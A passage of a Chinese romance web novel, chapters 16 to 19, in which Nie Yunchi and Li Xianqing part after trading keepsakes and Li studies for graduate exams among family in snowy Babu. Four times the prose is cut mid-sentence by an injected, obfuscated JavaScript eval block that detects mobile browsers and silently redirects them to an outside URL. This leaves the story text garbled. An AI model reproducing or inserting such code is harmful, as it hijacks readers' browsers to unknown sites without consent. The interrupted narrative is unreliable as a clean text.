然后聂云驰看到那只曾经盘旋在格桑山的积雪上的,差一点就被草原上的朔风吹跑的小鸟,一头飞进了自己怀里。 他收紧手臂,感受李现青飞舞的头发拂过自己的脸,犹如风的不舍,他说:“青青,这不算分别,我们会再见的。” 须臾,他感受到小鸟在他怀里点了点头。 飞机上,蔡弎看着刚刚落座的聂云驰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389803|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终究没能忍住好奇心:“刚刚在安检口磨蹭了那么久,和小向导说什么了?” 聂云驰没有第一时间回答他,只在打开飞行模式前给李现青回消息。 青青:[一路平安.JPG] Zephyr:已登机,要开飞行了 Zephyr:到了再告诉你 青青:好哦 飞机开始播放提示广播,聂云驰笑着把手机打开了飞行模式。 然后对上了蔡弎迷惑的表情。 蔡弎继续发问:“怎么不说话?你到底有没有玩弄人家小向导的感情啊?我告诉你这可不道德啊,人家小向导是个乖孩子,咱虽然不是什么好人,但是不能做这种缺德事。” 聂云驰无奈地扶额:“你能不能把那些乱七八糟的东西从脑子里面清出去。” “干什么,我是觉得小向导这两天看起来有点难过,想替他叩问一下你的良心痛不痛。”蔡弎撇嘴。 聂云驰掠了他一眼,说:“这两天我也难过,怎么不见你问。” 蔡弎不解:“你又难过什么?” “他在难过什么,我就在难过什么。”聂云驰回答完,突然又噙了点笑意是:“不过那都是在昨天晚上之前。” 蔡弎没有听懂,但是能看出聂云驰现在的状态简直如沐春风:“什么意思?” 聂云驰却不理他了,蔡弎看到他手里好像握着一个什么东西,细细一看才发现是一个有点眼熟的绿松石耳环,再一看,发现聂云驰的腕表不见了。 蔡弎在这一刻终于意识到,事情好像已经远远超出了他的猜想。 他问聂云驰:“你的手表呢?怎么不见了?” 这一句话又让聂云驰想起,昨天晚上李现青摘下自己的耳环,放到了他手里时的样子。 李现青说:“布西族的人相信,绿松石是散落人间的神女颈饰,可以祛病禳灾,平安吉祥。聂云驰,我把这个送给你。” 聂云驰看着手里的一对耳环,缄默片刻,将其中一只坠回李现青的耳垂上,又用指腹轻轻揉过他的耳洞:“青青,给我一个就好。” 然后摘下自己的腕表,拉过李现青的手比上去,算得上合适,只是表带可能会松一点:“这次出门仓促,没带什么能送出手的礼物,这个你带着玩,可以骑马的时候拿来看时间。” “这个很贵吧?”李现青看着这个表有些好奇。 “不贵。你的耳环更贵。”聂云驰回答得很自然。 “哦。”李现青点点头,他实在看不出来是什么品牌,便接受了这个说法。 聂云驰给李现青戴好手表,微微收紧手臂,把他揽入怀中。 他们在分别前的夜晚静静相拥,将一切话都说开,去感受两颗悸动的心脏透过皮肤组织与织物的厚度,去得到一种无端端的快乐。 于是他答道:“送人了。” 蔡弎只觉得自己太阳穴突突得跳:“你是说,用那个VIC限定款拿来送礼物吗?” 聂云驰握紧那只绿松石耳环,淡定地说:“不是送礼物,是交换定情信物。” 此时准备开车返回巴布城的李现青打了个喷嚏。 16. 第 16 章 11月初的日子,巴布城气温骤降,从西北吹来的大风刮得人脸生疼,这是入冬的征兆。乌日娜的民宿生意也正式进入了淡季,鲜少有客人联系。 这两天李现青都待在家里。 砖砌小房只有矮矮的两层,粗粝的砖石墙体透着朴拙的暖灰调,平顶边缘勾勒着宽大的朱红色带,屋顶和门窗都刷着朱红的油漆,门楣上有鲜艳的彩绘,二楼的窗台上摆着一些绿植,因为降温的原因,几盆粉白色的杜鹃移到了房间里面。 床单是柔和的黄绿配色,被子折得整整齐齐,枕头旁边还放着一只胖胖的棕色小熊,毛发柔顺,带着一点洗得发白的痕迹。床头柜上放着一个相框,里面放着一张全家福。 房间在靠窗的位置放了一张书桌,上面放着两排书籍,一眼望过去,隐隐约约看到一些什么“英语二必考1000题”“管理学概论”之类的字眼。 李现青在伏案写着一张卷子。 毕业的时候李现青一度很迷茫,大四那年,李现青的一位老师曾经介绍他去一家位于经济繁华省份的旅行公司实习,结果临签转正合同的时候,公司转行去承接房地产销售了,而这个时候再看一眼时间,春招和秋招的时间都已经错过。 再一打开招聘软件,李现青看着清一水的单休和大小周陷入沉思。 这个时候他的老师又给他推荐了一个就在X城工作,这次是他同专业的一个师兄把他的简历直接内推了进去,公司虽然待遇一般,但是工作压力不算大,面试通过后,本着试一试的心态,李现青就留在了X城。 其实这份工作李现青觉得也还不错,只可惜上了不到一年,李现青就喜提裁员但没n+1套餐,还因为缴交社保不满一年,连失业金都没得领。 城市套路深,农村娃李现青被伤透了心。 于是李现青收拾收拾行李回了家。 毕业的第二年,在巴布小学和民宿两边跑的李现青突然想试试继续读书。 乌日娜有些不理解,李现青已经是巴布城为数不多的大学生了,毕业回来之后还能继续读吗?又或者说,继续读下去会有什么不一样吗? 李现青听了之后沉默,然后摇摇头说:“或许也不会有什么不一样。但是我想试试。” “好吧。”乌日娜还是不太理解,但是她尊重李现青的选择:“你继续读书也好,当年你爸爸就是我们巴布第一个大学生,你要是能读下去,相信他们知道了也会高兴的。” 李现青和大学时候很照顾自己的那位老师打了电话,说了自己的想法,老师听了之后很开心,直说有什么都可以问他。 李现青虽说已经下定了决心,但是真的听到旁人的鼓励和认可还是难免开心。 于是李现青就开始了漫长的备考生活,乌日娜怕打扰他学习,总喊他少来民宿帮忙,上回会去带聂云驰他们那个团也是李现青想着考试前再帮帮忙,后面估计就一直没有时间了。 说到聂云驰,李现青笔尖一顿,距离他们在机场分别已经过去了一个星期。 聂云驰回a城后的日子当然没有李现青过得那么田园悠然。 结束休假的第一天,几乎是前脚敢踏进公司大门,后脚就被Audrey一个电话叫到了办公室。 出来后看着手下组员忐忑的目光,聂云驰拍拍手里的文件夹:“别看我了,干活吧。” 组员们欢呼纷纷起来。 聂云驰休假后,关于Zephyr要离开君恒的消息就一度甚嚣尘上,有人猜测是Audrey卸磨杀驴,一上任城市主管就准备拿自己的得力干将开刀;也有人猜测是上任城市主管故意和Audrey打擂台,升去总部让位的条件是要打散以Zephyr为首的一批A派嫡系队伍;更有人猜测其实是Zephyr自己想走,但是被Audrey压下来了。 这三种说法里面,第一种是主流,最后一种几乎被所有人嗤之以鼻。 但是传言归传言,没有人敢去问Audrey,毕竟新官上任三把火,传言听起来再怎么真实可信,Zephyr也是大家心里公认的第一嫡系,就算大BOSS真黑化了要拿他卸磨杀驴,也不影响她先找一些自投罗网的好事者小试牛刀。 于是聂云驰的组员在他不在的日子里被多方频繁打探消息,试图从他们嘴里问出蛛丝马迹,只可惜他们除了自家TL休假之外,什么消息都不知道,甚至到现在都还在惴惴不安地等答案。 聂云驰回来后从Audrey的办公室全身而退,还接了Audrey亲自派的大单的消息一下子传开,这下第一个传言也算是彻底不攻而破了。 而关于在办公室内部发生的具体事情,所有人都不得而知。 直到半年后大家才惊觉,原来这一场办公室谈话不是聂云驰重获信任的契机,而是Audrey的让步妥协。 但这一切都要等到半年之后才水落石出。 李现青完成今天的学习指标后,月亮刚好爬上窗。 简单地给自己做了个晚饭,搞一下卫生,再洗个热水澡,晚上十点李现青准时早早躲进被窝里。 巴布城冬天夜晚的街道是没有人的,大家都回家躲风取暖了。紧闭的门窗外北方呼呼地吹,今天一天都阴沉沉的,大家都说明天估计要下雪了。 李现青裹着被子躺在床上发呆,他想把手腕垫在脑袋下面,却被夹了一下头发,一摸才发现是忘了摘手表。 李现青实在是还没有戴习惯手表,纯铂金的表盘戴在手上总觉得沉甸甸的,存在感很强,腕表对他来说长了一点,与手腕贴合度不够,时不时就需要调整一下位置。 他对着床头灯的光打量着手腕上的表,深海蓝的盘表里错落有致地排布着指针和他称呼不出的小盘,他看着上面镶嵌的一圈长形钻石,在微弱的灯光下也闪烁着星芒般的射光。 把这个手表戴上后,有一次乌日娜喊他去吃饭,端碗的时候露出来被贡央看到,好奇得研究起来。 贡央的原话说的是:“闪得我以为你戴了块镜子在手上。” 后来贡央直接拍照识图,搜出来后盯着商品界面看了整整五分钟,其中三分钟是在数到底是几个零,剩下两分钟在想外国人小数点是不是有别的不为人知的点法。 他看着李现青,幽幽地说:“我就说怎么这么闪呢,原来是真钻石啊?” 详情页上显示这块表足足镶嵌了将近4克拉的钻石,都可以把他的汽修小铺盘下来了。 也是刚刚才知道真实价格的李现青陷入沉默。 李现青震惊,李现青把袖子拉下来遮住了腕表。 贡央看了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389804|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看李现青突然变成只带单边的绿松石耳环,又看看他欲盖弥彰遮住的腕表,冷不丁地说了一句:“哥,你知道吗,搁古代你们俩个这就叫做私相授受。” “……” “没关系,我不会跟人告发你的。哥,只要你能从表带上抠两颗钻给你亲爱的弟弟。”贡央眨巴眨巴眼睛。 李现青无语:“……那你还是去告发我吧。” 贡央沮丧离场:“哎,恋爱脑是这样的。” 李现青拿起沙发上的抱枕就往贡央头上砸:“你少胡言乱语了!” 李现青的目光落到腕表上,不知道在想什么,看了一会之后,突然把它摘下来塞进了床头柜的抽屉里面。 这时塞在枕头底下的手机震动了两下。 十点,是聂云驰的正常下班时间。 与此同时,聂云驰送出去的胶卷终于完成了冲洗。 一共36张胶片,运气很好地没有出现废片,洗出来的反转片长长一版。 其中只有四张是人像,剩下的全是风景图。 四张里面,有一张五人在格桑山上登顶的大合照,一张聂云驰在盐田前的单人照——这两张都是李现青拍的,聂云驰想。 还有两张是和李现青的合照。 聂云驰看着这两张照片,笑了,把冲洗店给的电子版下载下来,打开了和李现青的聊天框。 Zephyr:[图片] Zephyr:[图片] Zephyr:照片刚刚洗出来 两张合照都是在红谷岭拍的,只不过一张是两个人规规矩矩地站着,胶片把阳光拍得灿烂而温暖,背景里的红叶像层层晕染的油彩画。 另一张刚好定格在彼此对视的那一瞬间。 李现青看到照片里的自己像猫一样瞪大了眼睛,双唇却紧闭,整个人看起来虽然惊讶但是没有生气,聂云驰的手还半搭在自己的肩上,侧着头看着自己,眼角眉梢藏不住的笑意,从嘴角溢出来。 两个人就这样肆无忌惮地对视。 还以为这张会虚焦,结果居然出乎意料地拍得很清晰。 李现青在心里默默想着,然后把两张照片都保存了下来。 又等了一会,李现青才开始回聂云驰的信息。 青青:1 聂云驰看着那个孤零零的数字笑了。 Zephyr:今天也学习了? 青青:学了,麻了,不想说话了 青青:下班啦? Zephyr:刚刚下班 Zephyr:今天也加班了 青青:哇,你有不加班的时候吗? Zephyr:目前还没有 李现青看着自己和聂云驰的聊天记录,觉得好像两条苦瓜在聊天。 而且还一条比一条苦 他把这个发现告诉了聂云驰。 聂云驰看到后给他发了一条语音。 李现青枕在被子上点开来听。 聂云驰说:“那把我切了给你做苦瓜炒蛋吃吧,这样我不用上班,你也能吃点不苦的。” 笨蛋聂云驰。李现青想,苦瓜炒蛋也是苦的。 但是那天晚上他做了一个梦,在梦里真的吃上了苦瓜炒蛋。 不苦,还有点甜。 17. 第 17 章 一觉醒来,巴布城下了今年的第一场雪。 一夜雪急,挨家挨户的窗台上都铺上了一层薄薄的积雪,但是因为温度不够,雪还不够粉,反而是像是粗盐块。 这场雪整整下了两天,等停的时候整座城都银装素裹得像刚刚包好的饺子,泛着珍珠一样的色泽,身上还沾满了细密松软的洁白粉末。 李现青打开窗,发觉呼吸间空气冷冽得直沁心脾,直接给凉得一激灵,脑子完全清醒了。 他裹好衣服,又用围巾把半张脸都包住,拿了扫帚下楼开始扫雪。 一大早雪刚停的时候,索日娜就给他发消息说玉兰江开始结冰了,盐田的生意要歇一段时间,她准备来巴布玩几天。于是李现青今天连忙把一楼的空房间收拾出来两个——还有一个是给贡央的。 听说索日娜要来的消息,乌日娜也很高兴,大手一挥把贡央送了过来让他们三兄妹团聚,只交代说现在天冷不许瞎胡闹,又让他们三个晚上回她那里吃饭。 雪下得大,贡央怕路不好走,吃过午饭就去城门外的路口接索日娜,远远望去两个人像步履蹒跚的胖鸭子,摇摇晃晃地就朝着李现青走来了。 李现青打开壁炉加了点柴火,一时之间烧得噼啪作响,烟囱从屋顶探出来冒烟。 三个人就这样围着壁炉烤火,吃贡央从家里带来的烤松子。 “青青是不是最近学习太辛苦?都瘦啦。”索日娜两只手捏着李现青的脸来回打量。 李现青从索日娜手里艰难地为自己发声:“没有的,体重还和以前一样。” “好像是哦。”索日娜松开手,笑眯眯地说道。 贡央一边剥松子一边说:“他现在是天天加餐,只有胖没有瘦的。我瞧着他开始备考后,我妈都想把我送过来当书童了。” 索日娜嗤笑道:“就你?你打小成绩都没我好,能当什么书童?” “你懂什么。”贡央振振有词道:“我是当书童又不是当老师,要成绩好干什么,过来能给我哥洒扫除尘,洗衣做饭不就行了。” “打住吧你。”李现青阻止了贡央越说越远的话,“哪里用得上你干这个?少说姑姑和我的坏话。” 索日娜倒是笑得开心:“哎呀,我倒是支持姑姑!” 嬉笑着说完玩笑话,索日娜正经了神色和李现青说:“冬天又要到了,你平时还是要多注意,小心冻疮复发。” 李现青低头看看自己的手:“没事,这么多年也养得差不多了,就算有复发也就是偶尔几天,很快就会好。” 索日娜不赞同地说:“那也还是要注意,特别是少碰冷水,手套什么的都带好。” 其实贡央刚刚会开那样的玩笑也不算是自己在胡编乱造。 小时候李现青是个很倔强的孩子,父母去世的时候才刚好十岁,姑姑乌日娜和叔叔马齐都有过收养他的想法,但十岁的小孩已经有了生死的概念,小现青不仅不同意,还只愿意窝在那座两层的小楼里面,不肯出来也不肯见人。 大人们怕再刺激他,只好让和他同辈的索日娜和贡央轮流着带饭进去陪他一起吃,再逗他说上两句话,就这样一来二去得过了一个月,小现青才慢吞吞地跟在索日娜身后从房子里走了出来。 叔叔马齐还要兼顾马队的活计,不能久留巴布城,姑姑乌日娜承担起了小现青的主要抚养责任。 乌日娜的丈夫长期在外跑货车,在家的时间少,乌日娜一个人拉扯两个小孩不算容易,但幸好李现青内向、腼腆,也从来不挑食,做什么就吃什么,除了好像对生活好像没有什么自理能力之外,好养活得很。 所以偶尔遇到不得空的时候,乌日娜就会把小现青托付给小贡央。 是的,贡央虽然是名义上的弟弟,但是在从小的相处中,反而更像是“哥哥”的角色。 而贡央从小就觉得自己这个哥哥在某些方面笨得很。 比如刚到乌日娜家的小现青经常跟在贡央屁股后面试图一起帮忙干活,但是套被套是钻进去后出不来的,出门捡牛粪是会因为在牛粪堆里摔了一跤偷偷哭鼻子的,甚至在那个特别寒冷的冬天小现青自告奋勇地洗了几次衣服后,手上得了很严重的冻疮。 一开始还藏着掖着不肯说,还是小贡央最先发现给乌日娜打了小报告。 “哎呀,你这个手都这样了,还藏着不给我看?”乌日娜又气又急地给他红肿的手敷药,敷完药后看着那只手,突然叹气,又说了一句:“你这个手长得随你爸爸,爱长冻疮的毛病怎么也随了他。” 小现青一愣。 旁边急得嗷嗷叫的小贡央嘟囔道:“以后还是我洗衣服吧,他们都说得了冻疮之后每年都有可能会复发的。” 于是李现青的主要工作变成了吃饭的时候端菜摆盘子,其他活大家总不肯让他干,一方面长辈们心疼他,看到他那张似曾相识的脸就什么都不忍心了,另一方面小现青也实在是笨手笨脚得让人看不下去。 所以其实可以说李现青从小到大基本没干过什么重活。 贡央一听这话,脑海中突然想起一件及记忆深刻的事情,立刻冷哼一声:“那可不,都敢不用洗衣机洗衣服,改手洗了。” 这下索日娜是真惊讶了:“还有这事?青青你可是坚定的洗衣机拥护者啊,自从买了洗衣机,我就没听说过你还自己洗衣服。” 李现青低头给自己剥松子,神情有些郝然:“没有……也不是衣服……是围巾……是什么不重要,就是那个时候刚好洗衣机在用着,又急着洗了晾干,就那一次,真的。” 索日娜更不解了:“谁占了洗衣机不给你用啊?” 李现青马上抬起头来,字正腔圆地说:“是贡央。” 贡央闻言乱叫一声,指责李现青:“哥你变了!我还没揭发你呢,你就打小报告!” “揭发什么?你又胡说。”李现青一双杏眼微微瞪大,像一只警惕的猫。 索日娜见状决定缓和一下他们两兄弟的争辩,于是挥挥手让李现青坐到她面前的小板凳上,然后拿着皮筋用李现青的头发编辫子。 “哎呀,青青你现在头发也好长了啊,编辫子刚刚好。”索日娜满意地说道。 李现青屈膝坐在小板凳上,两只手托着腮不敢反驳。 贡央见状拍了张照片发到了家族群。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389805|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌日娜火速在群里发了一个点赞的表情包,并说:“这样看青崽和索日娜跟两姐妹一样哦!” 贡央看了哈哈大笑,念出来给另外两个人听。 “我从小就是一直把小青青当妹妹看的啦,小时候长得都没我高,小小一只,喊妹妹也不敢反抗。只不过现在怎么长这么高了,再喊你妹妹总感觉我像个变态。”索日娜听了附和道。 “现在执着要给我编辫子也没有很正经啦。”李现青小小声地说道。 索日娜笑眯眯地凑过去问:“说什么没有听清啦?” 李现青不敢回答,抱着膝盖埋头装死。 贡央在旁边笑出声。 就这样安静地过了一会,柴火燃烧时发出的“噼啪”声和拨开坚果外壳的脆响交织着,像一首交响乐的半成品。 李现青听着这些声音,有些神游。 突然,握着他头发的索日娜冷不丁说了一句:“怎么感觉你好像有事瞒着我?” 李现青下巴一脱力,差点咬到舌头。 贡央冷笑一声:“呵呵。” 索日娜抬起下巴点点贡央:“你知道?” 贡央看了一样李现青,说:“我也不知道,你还不知道他?从小就比牛还犟,不想说的谁都问不出来。” “那你呵呵什么?”索日娜给手底下编好的辫子做着收尾工作。 贡央恨铁不成钢道:“因为我看他也没想藏。” 李现青沉默,李现青低头,李现青思考。 有这么明显吗? 应该没有吧? 索日娜盯着李现青看了一会,然后回头问贡央:“他谈恋爱了?” “我没有!”李现青马上回答。 至少现在还没有。 贡央笑而不语:“呵呵。” 索日娜微笑:“你要再知情不报还在那里呵来呵去的,我就严刑你然后逼供青青。” 处于食物链低端的贡央果断选择背叛李现青:“他说谎,说什么没谈的,明明还带着人家送的定情信物呢,天天吃饭闪得我眼睛都花了!” 索日娜刚想问送什么了这么闪,总不会是钻戒吧? 就听到李现青理直气壮地撸起袖子,露出空荡荡的手腕:“谁说的,我没戴。” 贡央:“……” 索日娜:“……” 索日娜:“哇……青青你……哇……” 贡央:“哥,所以你不准备先反驳一下说那玩意不是定情信物吗?” 李现青彻底放弃说话了。 他觉得自己最大的缺点就是不打自招的毛病。 索日娜咳了两下,试探着问:“所以真谈恋爱了?” “没有。” 李现青顿了顿,决定挽回一下,于是说:“还在追呢。” 贡央:“……” 贡央觉得自己好像听到了什么不得了的东西。 索日娜:“……” 索日娜挣扎了一下,最后坚强地找回了自己的声音,再次提问:“谁在追啊?” 这个问题李现青回答得很轻快:“他呀。” 不然呢? 18. 第 18 章 索日娜看着李现青那张无辜的脸,深深叹了口气:“所以,到底是谁啊?” “我跟你提过他的呀。”李现青顶着被索日娜编得七扭八歪的头发,腼腆地笑笑。 电光火石之间,索日娜突然觉得自己好像抓住了一点蛛丝马迹,但是苦于当下受到的冲击过于强烈,那点子蛛丝马迹转瞬即逝。 这个时候,贡央搬着他的凳子挪到了索日娜旁边,凑近她耳朵边嘀嘀咕咕地说一通。 索日娜的目光从狐疑逐渐变成震惊,最后突然灵光一闪,整个人都坐直了。 李现青从储物柜翻出一罐还未开封的蜂蜜杏仁,拆开包装吃了一颗,又往准备开口的索日娜嘴里塞了两颗:“吃吗?蜂蜜杏仁。” 索日娜把杏仁嚼得咯吱作响。 话题似乎到这里就中止了。 晚上乌日娜张罗了一桌子好菜,一家子人围在一起热热闹闹地吃了个晚饭。 吃完饭后,贡央留在厨房洗碗,乌日娜拉着索日娜和李现青在沙发上聊天,炉子上暖着热奶茶。 “盐田的生意怎么样?还好吗?”乌日娜关心地问道。 索日娜点点头说:“还可以,现在我们也不只卖盐,旅游发展起来后多一份收入也是多一份保障。其实旁的还好,只是现在马队的人越来越少,大家总想着到外面去,都不愿意留在马队。” 对此乌日娜却有别的看法:“我倒觉得到外面去好,马队是个危险的活计,在以前这是为数不多的活计,所以没办法只能干。但是现在不一样了,别说旁的,就在我们巴布也有不少你们河纳族的人过来做生意了,这不比跑马队要轻松?” 想了想,乌日娜又补充道:“老队长多少年的跑马经验了?够老练了吧?可前段时间不也听说跑马的时候不小心把腿给折了?马队经常穿山过林的,那些路车子都不敢开,实在危险。若是有好的出路,他们离开马队也实在正常。” 索日娜听了也叹了口气,说:“也是。我们河纳的男人以前跑马,总不能真世世代代就这样下去。” 李现青在旁边默默听着,给两人倒了杯暖好的奶茶。 乌日娜接过奶茶,看着李现青慈祥地笑笑:“所以青青说要继续念书我还是挺支持的,我们青崽是小鸟,书是他的羽毛,羽毛多了就能飞出草原了。” “在巴布也没有什么不好的。”李现青回答道。 “但是你当年刚毕业那会,还是想留在外面的吧?”乌日娜粗糙的手掌揉过李现青的脑袋,“刚回来那阵子天天皱着个小脸,最近半年才高兴些。” 李现青一时之间不知道回什么。 那个时候自己是什么想法? 不高兴吗?好像没有,毕竟巴布是自己的家,回家有什么好不高兴的呢。 可是高兴吗?好像也没有,自己多少还是抱着留在外头的想法吧,不然怎么会试了那么多次呢? 仔细想想或许是一面不甘心一面认命罢了。 索日娜啜了口奶茶,问李现青:“青青是准备考哪里的研究生啊?” 乌日娜倒是之前听李现青提起过:“青崽说要试试考A大呢。” 索日娜听了有些吃惊:“A大哦!那很厉害了!” 李现青有些不好意思地笑笑:“是我大学的老师帮我研究之后定下来的,我也想试一下,万一成功了呢?” “相信你自己,我们都相信你的!”索日娜在这种事情上一向是绝对支持且鼓励李现青的,“不过,我记得A大离我们这里很远吧?” 乌日娜听了直笑:“哎哟,哪里会离我们这里近呢?那只有格桑山了啊。” 索日娜解释道:“不是那个意思啦,A大我记得是在很南边的,不过具体在哪里我有些记不得了。” 洗完碗出来的贡央听到一耳朵,随口回答道:“A大肯定是在A省啊。” 索日娜说:“这个我当然知道,我是在想具体哪个市嘛。” 李现青听到这里,答了一句:“在a市。” 正在用擦手的贡央动作一顿,抬头看了眼李现青。 “噢,那确实就是很远的。”索日娜依偎着乌日娜说,“姑姑你小心这小子一跑就不回来了。” “不回来就不回来吧。”乌日娜倒是不介意这个,“青崽能去大城市,难不成我们还拦着他?没有这个道理。鸟儿大了就要飞,人大了就要走。都是一个道理。” 贡央坐到了李现青旁边,李现青顺手也给他倒了一杯热茶。 “择校的事情,我记得你半年前就在看了。”贡央突然间说道。 李现青点点头:“嗯。” 贡央问:“什么时候定下来的?我记得之前你好像还说过在二选一纠结。” “当时是在纠结A大和C大,今年夏天的时候跟老师聊了很多,然后就决定选A大了。”李现青回忆了一下择校的过程,答道。 贡央又:“C大是在哪?” 李现青抬手摸了下自己右耳的银耳钉,说:“也在a市。” 听完,贡央沉默了一会,突然叹了口气:“哥,这是什么巧合啊。” 李现青听懂了他在说什么,却只是一笑了之。 他当时第一面就对聂云驰产生好奇,或许多少也有这方面的原因。 来自自己梦想中的城市,有着自己为之努力的学位,这样的人会是什么样的?这样的人离自己会有多远? 命运总是会将你梦寐以求和避之不及的东西反复推到你的面前,看你好奇得蠢蠢欲动,也看你着急得抓耳挠腮,看你无奈得退避三舍,还看你恐惧得歇斯底里。 命运最喜有缘,命运最喜无常。 可人偏偏就是喜欢命运这种可控又不可控的感觉。 “你告诉过他吗?”贡央突然有些好奇。 李现青摇摇头:“没有。” “为什么啊?”贡央不解道,“我还以为他知道你以后会去a市。” 李现青嘴角挂起一个小酒窝:“你就这么确定我能考到啊?” 贡央理所当然地点头:“对啊。” 李现青失笑,他握着旧陶杯,眼睛虚虚地落在前方:“这是我自己的事情。先不告诉他。” “那什么时候告诉他?等你真的考上了?”贡央不得其解。 李现青眨眨眼睛,一侧的绿松石耳环随着他转头的动作微微摇晃:“等我们想变成‘我们’的时候。” “他真不知道?”贡央还是有些半信半疑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389806|184231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“真不知道。”李现青对于贡央的质疑颇感无奈。 这下贡央是真想不明白了:“那他为什么还要追你?” 听到这个问题,李现青怔了一下。 为什么? 这种事情还能是为什么? 李现青托着下巴想了一下,说:“可能是因为他有一点喜欢我吧。” 贡央疑惑:“一点?” 李现青不知道想到什么,笑了起来,弯弯的两道月牙下,卧蚕饱满得想镜湖的水:“也可能不止一点点。” 正在给杏仁换猫砂的聂云驰突然感觉自己眼皮跳了两下。 杏仁在地上翻了个身,朝聂云驰露出自己柔软的肚皮。 聂云驰叹气,伸手去揉它:“每次做错事了就撒娇。” 杏仁翻过身用头去蹭聂云驰的手,干净又蓬松的毛色衬得它像一块新鲜出炉的海苔肉松小贝,然后“喵喵”得叫了两声,像是在说:“人,咪从小就跟了你,就算做错事了又有什么关系呢?” “撒娇也没有用。”聂云驰一手拿猫砂铲,一手拎住杏仁的脖子,“说了多少次不准和外面的野猫谈恋爱了。” 杏仁不服,继续“喵喵”叫。 聂云驰看着杏仁,想了想:“不过你也确实到年纪了。” 杏仁努力划拉四只小猫爪:“喵喵喵!” 聂云驰点点头:“明天就带你去做绝育。” 也不知道杏仁这只小傻猫听懂没有,还在那里夹着嗓子卖萌。 晚上两人打视频电话的时候,聂云驰提起了这件事。 李现青听得直笑:“可怜的小杏仁,争取自由恋爱失败要被棒打鸳鸯了。” 聂云驰看着在猫爬架上趴着给自己舔毛的杏仁,无奈道:“绝育了就不用担心哪天跟它妈妈一样突然给我变出一个猫崽来。” 杏仁看了眼最近天天拿着个方方正正黑盒子不离身的主人,跳下猫爬架凑过去冲着黑盒子“喵”了一声。 李现青看到了杏仁在摄像头里露出的一只耳朵,开心地回复道:“杏仁?你又来和我打招呼啦。” “喵喵~”杏仁意思意思应了一句,结束完例行公事就准备跑开。 结果被聂云驰捏住了命运的后颈,拎到了膝盖上和手机对面的李现青面面相觑。 聂云驰看了眼凑到摄像头跟前试图隔空逗猫的李现青,心想这应该是“猫猫相觑”。 李现青隔着屏幕研究了一会杏仁,就听到贡央来敲门说炭火都准备好了,怎么还不下来一起烤地瓜。 李现青应了一声,然后小小声地和聂云驰说:“这两天我姐姐和贡央都在家里住,没什么空理你,你认真加班吧。” 这下杏仁终于摆脱了聂云驰的魔抓,顺利逃跑。 “好吧,大忙人。”聂云驰觉得自己像被李现青藏起来不能见人的情夫,“有空的时候记得理理我这个闲人。” 李现青用手指戳戳屏幕里的聂云驰,应了声:“哦~” 等挂了电话一开门,正好对上贡央好奇的眼神:“哥你刚刚在里面嘀嘀咕咕说哈呢,听不清。” 听不清就对了。 李现青浅笑着故意不回答他。 因为那是说给“闲人”听的。 19. 第 19 章 接下来的一个月时间里,巴布又断断续续地下了几场雪。冬天来势汹汹地接管了这座边境小城,寒冷刺骨的北风呼啸而来,夹杂着四散飞舞的雪花。 好不容易等雪停下,便是到了巴布城真正的寒冬。 距离笔试还有差不多一个星期的时间,李现青准备把自己有段时间没打理的头发修剪一下。 结果连着两天,巴布城唯一的一家理发店都没有开门。 或者说是店门没有开,因为理发店店长就站在二楼的窗户里面冲着李现青喊:“天太冷了,我的手拿不稳剪刀,为了你的发型着想还是等过两天再来吧!” 李现青站在店门口抬头,把脸扬得高高的,露出被冻红的鼻尖:“你这样是对不起冬天里想剪头发的客人的!” 店老板抱歉地笑笑:“那真是对不起了!” 李现青只好气鼓鼓地往回走。 走在路上时想了想,他决定发一条朋友圈,配图是落满皑皑白雪的巴布城:“冒雪出门的客人遇不到愿意冒雪理发的店长!” 结果下一秒理发店老板就出现在评论区:“[玫瑰][玫瑰]” 李现青压实了帽子,埋头顶着刺骨寒风往家里赶。 快走到家的时候,聂云驰给他发了消息。 Zephyr:这么大的雪,冷不冷? 聂云驰给李现青发信息的时候,正在和母亲徐闻兰一同去港城的路上。 今天是农历初一,有些讲究一点的人家来在这一天会把素持斋,不食荤腥。虽然在聂家没有这个习惯,但是每个月的初一是由聂云驰的奶奶定下的家庭聚餐日。 